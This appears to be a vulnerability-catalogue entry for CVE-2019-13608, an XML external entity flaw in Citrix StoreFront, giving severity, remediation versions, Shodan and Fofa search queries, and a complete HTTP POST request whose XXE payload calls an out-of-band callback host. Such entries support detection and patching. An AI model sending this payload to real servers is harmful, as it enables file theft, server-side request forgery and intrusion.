| Title | Citrix StoreFront Server - XML External Entity |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Attackers can read arbitrary files, perform server-side request forgery, or cause denial of service through XXE attacks. |
| Remediation | Update to version 1903 or later for StoreFront, CU4 or later for 7.15 LTSR, CU8 or later for 7.6 LTSR. |
| CVSS Score | 7.5 |
| EPSS Score | 0.75369 |
| CVE ID | CVE-2019-13608 |
| CWE ID | CWE-611 |
| Shodan Query | /Citrix/StoreWeb |
| Fofa Query | /Citrix/StoreWeb |
| Tags | cve cve2019 citrix storefront_server xxe kev vkev |
Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
POST /Citrix/StoreAuth/ExplicitForms/Start HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 479
Accept: application/vnd.citrix.requesttokenresponse+xml, text/xml, application/vnd.citrix.authenticateresponse-1+xml
Content-Type: application/vnd.citrix.requesttoken+xml
Accept-Encoding: gzip
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE requesttoken [<!ENTITY % xxe SYSTEM "http://d6dtgohle0o07841nohguyzskchxnnxna.oast.me"> %xxe; ]>
<requesttoken xmlns="http://citrix.com/delivery-services/1-0/auth/requesttoken">
<for-service>6b78ab94-a709-4e3a-8b9b-a49ca317c70c</for-service>
<for-service-url>https://www.example.com/Citrix/Store/resources/v2</for-service-url>
<reqtokentemplate />
<requested-lifetime>1.00:00:00</requested-lifetime>
</requesttoken>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-13608.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-13608.pcap
N/AN/A